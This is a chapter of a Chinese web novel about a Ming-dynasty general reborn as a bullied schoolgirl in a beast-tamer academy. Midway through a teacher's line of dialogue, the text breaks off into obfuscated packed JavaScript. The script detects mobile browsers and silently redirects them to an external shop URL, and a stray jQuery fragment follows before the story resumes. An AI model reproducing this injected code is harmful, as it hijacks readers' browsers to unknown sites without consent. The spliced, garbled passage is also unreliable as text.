“瞧没瞧见她刚刚脸上吓的那个样!哈哈哈!”
“我录下来了,就没见过这么怂的蠢货!”
“下一个轮到谁,坐她旁边那个卢珍怎么样?”
“班上四十七个弱鸡,轮流来吧。”
“还是莉莉你机智!”
何人这般聒噪……
司礼被刺目的阳光晃了视线,伸出五指挡了挡,眯着眼睛透过指缝看向前方。
隐约可见三道笑得嚣张肆意的身影,正居高临下地俯视着她。
俯视?
司礼低头,发现自己竟然跪坐在地上。
左手扎进碎了一地的透绿色硬碴碎渣中,带来丝丝痛意,血滴在枯叶上,糊了一片殷红。
那三道穿着制服的人还在谈笑:
“下次不放碎玻璃了,放钉子吧!”
“生锈的那种,再精神锁链外放,直接吓死她!”
“这不是第一次嘛,没经验。”
精神锁链?
明明上一秒还在大明战场奋勇杀敌,司礼有些愣神。
虽然意识到这三人绝非善类,但她还是试探性地开口:“诸位…且为我道来个中因果?”
“这下她彻底傻了,不知道抽什么风。”
“反正脑域开发不到位,以后只能去扫垃圾,不然菜市场刮鱼鳞,傻不傻的有什么区别?”
“莉莉,你再演示一遍吧,我想看,话说珍稀药真的这么神奇?”
“乡巴佬啊你,看好了!”
司礼沉稳地听着,识别其中新奇的词语。
随即一道银白色的绳链猛地从他们后方窜出,直奔她面门而来。
司礼毫不迟疑,右手疾若闪电,一把抓住了那不怀好意的白色锁链。
速度和战场上的羽箭差不多,甚至还慢了些。
手感软软滑滑,司礼还是第一次摸到这种质地,好奇地捏了捏。
“靠!”邱莉莉蹙眉痛喝:“快放手啊喂!”
司礼循声望去,这才发现绳链的另一端连到了这名少女脑后。
“乡巴佬你想死吗?快松开脏手!”
邱莉莉的拥趸帮腔骂道。
但毕竟精神锁链握在司礼手里,他们不敢妄动,生怕司礼伤害到那纯净的精神能量。
毕竟精神锁链若是受伤,对应的脑细胞将直接永久性死亡,邱莉莉极有可能因此变成傻子!
“快放手吧,我们放你滚!”
“别不知好歹!垃圾。”
……
“你放手!要多少钱都给你!”
“贫困生,别逗了放手啊!”
……
“只是开个玩笑,司礼你别闹了。”
“我们不玩了,话说你的手还好吗?”
司礼始终沉默不语,拥趸们的语气渐渐弱了下去,心里没底。
早知道就不让邱莉莉瞎展示了,这下玩脱了,最脆弱的精神能量直接送给别人拿捏。
但凡邱莉莉在这出了意外,他们两个势必会惹怒邱莉莉老爸——
临清黑白两道的头号人物邱威霸。
甚至家族都可能被邱威霸做局,彻底逐出临清市上流圈层。
邱威霸可是临清商业巨鳄,堂堂C级御兽师!
尤其他契约的那头癌龙骨,逼得无人敢在临清挑衅他的权威。
司礼自然不知他们所想,感受完那白色锁链的手感后,她突然联想到什么。
缓缓抬起左手,像在抹布上擦手似的,在白色能量上抹了抹血。
“既然是你们设计我,我擦擦干净,不算过分吧?”她轻描淡写。
回应她的却是一声刺耳惨叫。
“啊——”邱莉莉声嘶力竭得像是痛彻心扉。
司礼被这声尖利的声音吓到,手上一松,视线扫了过去。
邱莉莉痛苦得整张脸拧成一团,像是被抽走了力气。整个人半跪下去,连膝盖扎进了少量玻璃残渣也恍若不觉。
沾着血液被玷污的纯白色精神力猛地蹿了回去,躲进识海清洗身上的尘血。无异于识海直接受到冲击,邱莉莉只觉痛楚加剧,不堪承受,痛得晕了过去。
“莉莉!”
“快、快抱去医务室!”
“等死吧!乡巴佬!”
一切发生的很快,拥趸们心急如焚,仍不忘撂下狠话。
司礼冷眼瞧着三人中的男生背起邱莉莉,拔足飞奔向某幢白色建筑。
这些建筑……看着很是坚固,墙面十分齐整,是大明没有的技术。也不知是什么能工巧匠的杰作,要是能学得几分,回去大明普及就好了。
只是不知道还能不能再回去。
思及此,司礼黯然神伤。
她没停下在校园闲逛的脚步,四处打量起新奇的环境。都是些及笄和舞象年岁的年轻人,嬉笑打闹混学一室,倒是稀奇。
不过司礼也意识到自己怕是到了桃源之境,别有一番天地。
她如吸水的蛏子,源源不断汲取全新的知识。
那名唤邱莉莉的女孩,宛若利器的白色锁链,和她说的……
“脑域?”
就在司礼咀嚼这两个字之际,太阳穴猛地刺痛。
海量的记忆碎片如潮水般涌了进来。
伴随着剧烈的疼痛,司礼蹲坐在地上,蜷住身子,静待这股疼劲熬过去。
她已无暇顾及痛感,纷繁杂乱的信息在她脑海中冲击着原本的认知。
“宠兽、蓝星、脑域、精神力、御兽师、御林初中……”
仿若那名同名女生在她耳边叮嘱:“这个烂摊子以后归你了,我解脱了……”
轻若飘羽,满是解脱的畅快。
不过14岁半的年纪,少而知世间几多愁,何必献灵于藐世存在?
司礼下意识想劝她。
但那抹残存的脆弱灵体,仿似在将承载名为”蓝星司礼“的记忆碎片统统传给她后,轻松地走向属于她的下一轮回。
“为什么是我?”
没有回答,只有远处的嬉闹声,和风吹过树叶间隙的沙沙声,和……
靠近的脚步声!
司礼敏锐地偏头,手中捏住随风飘落的枯叶暗劲化为利器!
啊……
她突然意识到,现在这具身躯没有内力,也就没有暗劲。
枯叶轻飘飘地随风在空中起舞,不一会儿就无力地落在地上。
好在来人似并无恶意,她对上一双郁闷的中年男人的眼睛。
这是……御林初三五班的班主任李财。
“司礼!”
见她转身盯了过来,还无聊地扔了片树叶,谢顶的中年男人阴沉了脸。
都什么时候了还有心情开玩笑!
男人的大嗓门震耳,似乎将郁结闷气都撒在这声唤名里。
“见过李师。”
司礼想着记忆碎片里的内容,不敢做拱手行礼之类特立独行的动作,只是微微点头。
什么东西?
李财没有深究。
现在有更重要的事摆在跟前。
若是处理不好,御林中学就完了!
御林中学完了也就罢了,他李财也得跟着完!
他低声喝道:“跟我来!”
司礼闲云信步跟在他身后,赶到白色建筑中。
五分钟前,邱莉莉刚到校医院,校长的问责电话就打到了李财跟前。
但凡邱莉莉出点什么事,他势必会被校长那趋利避害的小人推到邱董面前,承受邱董的勃然怒火。
好好上个班而已,这都什么事啊!
“怎么样?”李财变脸极快,摆上笑容柔声询问。
对面正是刚刚背起邱莉莉的男生。
“得转去市医院,或许还得去省里,莉莉的精神力可是严重受伤了!邱伯父若是责问,学校肯定得给个交代!”
他说到后半句,像是咬牙从喉咙里挤出的话语,盛着明晃晃的愤怒。
“啊……”李财脸色发白。
被邱董捧在手心的邱莉莉完了吗?别呀!
邱威霸身为C级御兽师,实力在临清排得进前三!
毕竟那些C级以上的御兽师都跑去更大的城市寻好前程。
邱威霸作为临清的顶富巨腕,就算他杀个人,报纸也得夸是见义勇为的程度。
都怪这没脑子的小害人精。
李财睨一眼旁边风轻云淡的司礼,没好气地:“司礼!你老实交代,怎么回事!”
还没等她回答,男生冷硬地先开了口:“滴运鸟到了。”
他极其不屑地瞥了眼李财。
“你给我好好处理,否则……”
话没说完,但最后一声冷笑代表其未尽之意。
压力施加到李财身上,男生心里好受了些。
他将邱莉莉珍重轻柔地背起,大步迈了出去。
余下的那名女生也狠狠剜了司礼一眼,跟了出去。
李财看他们都走了,才长出一口气,皱眉打量一身狼狈的司礼。
“赶紧进去处理一下!等医院检查完,看人伤得怎么样。如果轻的话,你好好道歉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17965822|214510||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,就算要跪下自己扇巴掌,也得给我扇出诚意来,若是伤得过重……”
李财摇摇头,没再继续说。
现在就讨论这种情况毫无意义。
“御林中学是邱董赞助的,而你,不过是贫困特招生。”
“司礼,我回头把你家长叫来,做好退学准备吧!至于怎么能让邱董和莉莉彻底解气,自己琢磨!”
邱威霸的宝贝女儿但凡出什么事,自己这班主任也算到头了。
李财叹气,心中悲戚恼火,大步迈了出去,准备吞云吐雾纾解一二。
“叫家长?“司礼迷茫地喃喃。
蓝星司礼很怕这点啊。
是不是哪里做错了?
先动手的明明是对方!
看来,这不是个能讲道理的世界,等级制度森严,实力为尊!
她走进玻璃门内,在白色大褂男人对面坐下。
男人拿出银色镊子为她清理干净手上的玻璃碴,又走近蹲下,卷起裤腿,想清理腿侧的玻璃划伤。
司礼匆匆摆手阻止,起身躲开。虽说那男人神色如常,没什么避嫌男女大防,但司礼宁愿自己动手。
校医见她执着,便也随她去了,将碘伏、酒精和棉签递了过去。
陌生的环境带来的刺激感,使得她的心一直悬着无法安定。
但此刻伤口带来的痛意刺激是那么熟悉,她缓缓沉静心绪安稳下来。
酒精辣得皮肤红了一片,随即碘伏渗进细小的数道划伤扎痕里,刺刺麻麻。
司礼面不改色,她受过比这重得多的伤多了去了。
随行女医不在身边时,她一贯自己处理,甚至面不改色拔过短刃,还好那时命大,止住了血。
校医做好登记,叹口气:“我看你是贫困特招生,怎么不好好学习,光会惹事?邱家即便是杀了你,也没谁敢追究的,唉。”
远处传来铃声,悠扬悦耳。
熙攘的人群哗啦往同一幢楼涌去。
司礼与校医道别,起身同去人群密集处。
初三五班……
她左顾右盼,像在陌生异世中搜寻安身立命的小家。
“咚咚咚。”司礼礼貌地敲门。
肖燕偏头一看,瞧见脸色苍白佯装镇定的女孩,倒没批评什么。
只是冷淡地说:“进来吧。”
教师办公室已经传开了。
所有人都知道邱董爱女受伤昏迷。
和快要退学的司礼计较迟到这种小事,实在没必要。
唯二空位中,司礼在冲着自己热情招手的女孩身旁坐下,对落在她身上炽热八卦的目光视若无睹。
当年提任骁骑将军后,做战前动员讲话时,台下的小兵也是这么热血沸腾的目光。
“司礼,你牛!”
同桌卢珍偷偷竖了个大拇指。
脸埋在课本后,小声问道:“你怎么打伤邱莉莉的啊?”
“她可是全校第一个脑域开发到凝成实质态的,据说离觉醒出御兽典,只差一瓶珍稀品阶药的距离呢。”
司礼喃喃重复:“御兽典?珍稀品阶?”
记忆碎片里的知识混杂繁多。
珍稀品阶的药好像很是罕见。
因为入药材料的稀缺性和制药师手法的难度,每瓶至少能卖出近亿星运币的天价。
瞧她发呆的模样,卢珍心道:时常陪自己下五子棋划水解闷的同桌,被邱莉莉的事情吓傻了?
她指了指课本,又指了指太阳穴。
不言而喻的“书上都有”和“你傻了”。
司礼这才注意到桌上足有手掌厚的课本。
四书五经加起来都差得远的厚度!
才刚翻开读了两行首页的大师寄语,就听讲台上的肖燕说道:
“好了,课本收起来。注意事项都讲过了,不要小看这次考试,军部会根据三次成绩选拔出脑力合格的学生,往研究员方向培养。”
“即便不能在一年内开发脑域合格,至少也能多条体制内的好出路。”
“我们御林作为全市第一的贵族中学,五班可是特优重点班,大家都给我好好发挥!”
“我希望我校进入复测的名单里,全都是我们班学生!”
这位师长讲话还挺激情澎湃的。
卢珍小声吐槽:“怎么不希望全员进首域军部当上校呢?”
平日没少挑灯夜读的司礼,颇爱应试类新奇体验,倒是满心期待。
只是等卷子拿到手,她淡定的神色崩了一秒。
都什么鬼?